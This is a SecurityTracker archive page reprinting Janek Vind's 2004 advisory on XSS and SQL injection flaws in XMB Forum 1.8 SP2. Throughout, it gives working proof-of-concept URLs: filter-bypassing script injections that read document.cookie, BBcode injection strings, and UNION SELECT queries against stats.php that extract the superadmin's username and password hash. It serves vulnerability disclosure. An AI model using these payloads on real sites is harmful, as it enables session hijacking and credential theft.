SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   XMB Forum Vendors:   Xmbforum.com
XMB Forum 'header.php' and Other Input Validation Flaws Permit Cross-Site Scripting and SQL Injection Attacks
SecurityTracker Alert ID:  1009280
SecurityTracker URL:  http://securitytracker.com/id/1009280
CVE Reference:   CVE-2004-0322, CVE-2004-0323   (Links to External Site)
Updated:  Mar 23 2004
Original Entry Date:  Mar 2 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information

Version(s): 1.8 Partagium Final SP2 (Build: 2003100518)
Description:   Several input validation vulnerabilities were reported in XMB Forum. A remote user can execute SQL commands on the underlying database and can conduct cross-site scripting attacks.

Janek Vind (waraxe) reported that several components do not properly filter user-supplied input.

Due to a flaw in 'header.php', a remote user can supply a specially crafted URL containing encoded scripting code to conduct cross-site scripting attacks [CVE: CVE-2004-0322]. When loaded by a target user, the URL will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the XMB Forum software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript>

http://[target]/xmb18sp2/member.php?action=viewpro&member=x<%73cript>alert(document.cookie);</%73cript>

http://[target]/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie);</%73cript>

http://[target]/xmb18sp2/editprofile.php?user=x"><%73cript>alert(document.cookie);</%73cript>

http://[target]/xmb18sp2/viewthread.php?tid=1&ppp=x<%73cript>alert(document.cookie);</%73cript>

http://[target]/xmb18sp2/misc.php?action=list&order=postnum&desc=x

http://[target]/xmb18sp2/misc.php?action=list&order=postnum&desc=x<%73cript>alert(document.cookie);</%73cript>

http://[target]/xmb18sp2/forumdisplay.php?fid=1&tpp=x<%73cript>alert(document.cookie);</%73cript>

http://[target]/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x<%73cript>alert(document.cookie);</%73cript>

It is also reported that BBcode tags are not properly filtered, including the 'align' and 'img' tags.

Some demonstration exploit URLs are provided:

text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]

text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2

Some SQL injection vulnerabilities were also reported in 'stats.php' [CVE: CVE-2004-0323]. A remote user can submit a specially crafted URL to execute SQL commands on the underlying database. Some demonstration exploit URLs to retrieve the superadmin's username and hashed password, respectively, are provided:

http://[target]/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1
LIMIT 1/*

http://[target]/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1
LIMIT 1/*

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the XMB Forum software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can execute SQL commands on the underlying database to retrieve information from the database, including hashed passwords.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.xmbforum.com/home/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [waraxe-2004-SA#004] - Multiple vulnerabilities in XMB 1.8






{================================================================================}
{                              [waraxe-2004-SA#004]                              }
{================================================================================}
{                                                                                }
{         [ Multiple vulnerabilities in XMB 1.8 Partagium Final SP2 ]            }
{                                                                                }
{================================================================================}
                                                                                                                                
Author: Janek Vind "waraxe"
Date: 23 Feb 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Extreme Messageboard aka XMB is very popular and feature rich forum,
based on php and mysql. More information can be found on sites
http://www.aventure-media.co.uk and http://www.xmbforum.com




Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    
Multiple vulnerabilites have been found in XMB 1.8 Final SP2 version
and possibly in older versions too. Any of them can lead to total
compromise of the website, if affected account has SuperAdmin status.


Remark: line references apply to build version "Build: 2003100518".



Let's begin...


1. Security filter in header.php line 110 can be bypassed, if we partially
or fully urlencode the critical parts in URI. Thanks to this vulnerability
possible XSS holes can be easily exploited by GET request.

Original code:


// Checks for various variables in the URL, if any of them is found, script is halted
	$url2 = str_replace("subscriptions","",$url);
	$url_check = Array('status', 'xmbuser', 'xmbpw','script','javascript');
	foreach ($url_check as $name) {
	 	if (eregi($name, $url2)){
	 		exit();
	 	}
	}



Example of the filter bypass:

http://localhost/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript>




2. XSS in member.php


example exploitation:

http://localhost/xmb18sp2/member.php?action=viewpro&member=x<%73cript>alert(document.cookie);</%73cript>




3. XSS in u2uadmin.php  


example exploitation:

http://localhost/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie);</%73cript>



4. XSS in editprofile.php


example exploitation:


http://localhost/xmb18sp2/editprofile.php?user=x"><%73cript>alert(document.cookie);</%73cript>




5. BBcode "[align=xxx][/align]" script injection vulnerability:


example exploitation:

text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]


This can be used everywhere, where bbcode is allowed - in profile's signature, u2u and in forum threads. 
Scripting will be triggered on mouseover event and will work with most browsers.




6. BBcode "[img=1x1][/img]" script injection vulnerabilty:


example exploitation:


text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2

Ending "//gif" is needed for successful exploit, because bbcode implementation will check for it.

This can be used everywhere, where bbcode is allowed - in profile's signature, u2u and in forum threads. 
Scripting will be triggered automatically, but exploit will work only with  M$ Internet Explorer.


**************************************************************************
Remark: Next vulnerabilities are sql injections. Cases 7,8,9 will offer
injection possibility after "ORDER BY" keywords in sql query, 
therefore UNION method will not work. Only bad thing, attacker can
make, is failing of the sql query and provoking of the sql error 
message. Because XMB forum so nicely will show sql error messages
for all the world (this feature is implemented in mysql.php file),
we can "convert" the  sql injection to the exploitable XSS!
**************************************************************************



7. SQL injection in viewthread.php line 250: (NB!! successful only, if currently logged out)

http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x



example exploitation: 

http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x<%73cript>alert(document.cookie);</%73cript>



8. SQL injections in misc.php lines 387,391,395

http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x



example exploitation:

http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x<%73cript>alert(document.cookie);</%73cript>




9. SQL injections in forumdisplay.php lines 135,325

http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x

http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x


example exploitations:

http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x<%73cript>alert(document.cookie);</%73cript>

http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x<%73cript>alert(document.cookie);</%73cript>


*********************** [really scary sql hole] ***********************


10. SQL injections in stats.php lines 89,96,103


http://localhost/xmb18sp2/stats.php?action=view&addon=x


exploitations:



getting username for superadmin:

http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1
 LIMIT 1/*




getting password's md5 hash for superadmin:

http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1
 LIMIT 1/*



*********************** [/really scary sql hole] **********************




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greetings goes to ulljobu, djzone, raider and to torufoorum staff!
    Special greets to marius and biacci!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@yahoo.com
    Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC